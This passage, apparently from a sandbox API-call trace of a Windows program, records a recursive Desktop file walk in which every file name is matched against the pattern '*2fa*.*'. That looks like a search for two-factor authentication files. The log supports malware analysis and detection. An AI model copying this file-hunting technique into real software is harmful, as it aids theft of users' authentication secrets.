pszSpec="*2fa*.*") returned 0 [0099.624] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.624] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 0 [0099.624] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.624] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa668 [0099.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.624] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x27) returned 0x211ac90 [0099.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x211ac90, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpUsedDefaultChar=0x0) returned 39 [0099.624] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.624] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ac90 | out: hHeap=0x2110000) returned 1 [0099.624] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa668 | out: hHeap=0x2110000) returned 1 [0099.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.625] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113060 [0099.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113060, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.625] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.625] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*2fa*.*") returned 0 [0099.625] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.625] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0007ba0, ftCreationTime.dwHighDateTime=0x1d7aee9, ftLastAccessTime.dwLowDateTime=0x1c72ab20, ftLastAccessTime.dwHighDateTime=0x1d7aef0, ftLastWriteTime.dwLowDateTime=0x1c72ab20, ftLastWriteTime.dwHighDateTime=0x1d7aef0, nFileSizeHigh=0x0, nFileSizeLow=0x17ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffg4.png", cAlternateFileName="")) returned 1 [0099.625] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.625] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ac30 [0099.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x211ac30, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", lpUsedDefaultChar=0x0) returned 40 [0099.625] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.625] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ac30 | out: hHeap=0x2110000) returned 1 [0099.625] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa610 | out: hHeap=0x2110000) returned 1 [0099.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.625] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113120 [0099.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113120, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.625] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113120 | out: hHeap=0x2110000) returned 1 [0099.625] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*2fa*.*") returned 0 [0099.625] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.625] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOg-h_AvoQIw_HJ", cAlternateFileName="FOG-H_~1")) returned 1 [0099.625] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.625] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.625] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.626] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.626] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.626] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97427d50, ftCreationTime.dwHighDateTime=0x1d7ac05, ftLastAccessTime.dwLowDateTime=0x29e948e0, ftLastAccessTime.dwHighDateTime=0x1d7aced, ftLastWriteTime.dwLowDateTime=0x29e948e0, ftLastWriteTime.dwHighDateTime=0x1d7aced, nFileSizeHigh=0x0, nFileSizeLow=0xcba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="srTdgc8WYpda3WAi2Rl.png", cAlternateFileName="SRTDGC~1.PNG")) returned 1 [0099.626] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0099.626] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x47) returned 0x33ab298 [0099.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x33ab298, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", lpUsedDefaultChar=0x0) returned 71 [0099.626] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa820 [0099.626] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab298 | out: hHeap=0x2110000) returned 1 [0099.626] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.626] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113018 [0099.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113018, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.626] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113018 | out: hHeap=0x2110000) returned 1 [0099.626] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*2fa*.*") returned 0 [0099.626] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa820 | out: hHeap=0x2110000) returned 1 [0099.626] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf87f20, ftCreationTime.dwHighDateTime=0x1d7af4d, ftLastAccessTime.dwLowDateTime=0x803dd890, ftLastAccessTime.dwHighDateTime=0x1d7b009, ftLastWriteTime.dwLowDateTime=0x803dd890, ftLastWriteTime.dwHighDateTime=0x1d7b009, nFileSizeHigh=0x0, nFileSizeLow=0x1420d, dwReserved0=0x0, dwReserved1=0x0, cFileName="w zekI-R.wav", cAlternateFileName="WZEKI-~1.WAV")) returned 1 [0099.626] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.626] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112930 [0099.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x2112930, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", lpUsedDefaultChar=0x0) returned 60 [0099.626] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ed0 [0099.626] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112930 | out: hHeap=0x2110000) returned 1 [0099.626] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.627] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113000 [0099.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113000, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.627] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.627] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*2fa*.*") returned 0 [0099.627] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ed0 | out: hHeap=0x2110000) returned 1 [0099.627] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 1 [0099.627] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.627] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112b70 [0099.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x2112b70, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", lpUsedDefaultChar=0x0) returned 61 [0099.627] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c90 [0099.627] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0099.627] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.627] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113078 [0099.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113078, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.627] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113078 | out: hHeap=0x2110000) returned 1 [0099.627] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*2fa*.*") returned 0 [0099.627] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0099.627] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 0 [0099.627] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.627] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.627] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x34300d0 [0099.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpUsedDefaultChar=0x0) returned 47 [0099.628] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.628] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112fb8 [0099.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2112fb8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.628] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*2fa*.*") returned 0 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.628] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcd4b250, ftCreationTime.dwHighDateTime=0x1d7a0ed, ftLastAccessTime.dwLowDateTime=0x24550670, ftLastAccessTime.dwHighDateTime=0x1d7a8e8, ftLastWriteTime.dwLowDateTime=0x24550670, ftLastWriteTime.dwHighDateTime=0x1d7a8e8, nFileSizeHigh=0x0, nFileSizeLow=0x8888, dwReserved0=0x0, dwReserved1=0x0, cFileName="g2ZwK9.bmp", cAlternateFileName="")) returned 1 [0099.628] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.628] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2a) returned 0x34300d0 [0099.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", lpUsedDefaultChar=0x0) returned 42 [0099.628] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.628] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113120 [0099.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113120, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113120 | out: hHeap=0x2110000) returned 1 [0099.628] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*2fa*.*") returned 0 [0099.628] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.628] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a77620, ftCreationTime.dwHighDateTime=0x1d7afc6, ftLastAccessTime.dwLowDateTime=0x4cf82e60, ftLastAccessTime.dwHighDateTime=0x1d7afdf, ftLastWriteTime.dwLowDateTime=0x4cf82e60, ftLastWriteTime.dwHighDateTime=0x1d7afdf, nFileSizeHigh=0x0, nFileSizeLow=0x1ea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgucYmyJbQJmLK.wav", cAlternateFileName="HGUCYM~1.WAV")) returned 1 [0099.628] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.629] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x33aab60 [0099.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x33aab60, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", lpUsedDefaultChar=0x0) returned 50 [0099.629] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c00 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aab60 | out: hHeap=0x2110000) returned 1 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.629] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113090 [0099.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113090, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113090 | out: hHeap=0x2110000) returned 1 [0099.629] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*2fa*.*") returned 0 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c00 | out: hHeap=0x2110000) returned 1 [0099.629] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0ea3c0, ftCreationTime.dwHighDateTime=0x1d7aada, ftLastAccessTime.dwLowDateTime=0x63881990, ftLastAccessTime.dwHighDateTime=0x1d7ada2, ftLastWriteTime.dwLowDateTime=0x63881990, ftLastWriteTime.dwHighDateTime=0x1d7ada2, nFileSizeHigh=0x0, nFileSizeLow=0x111a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ht3A.swf", cAlternateFileName="")) returned 1 [0099.629] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.629] WideCharToMultiByte (in: CodePage=0x0, 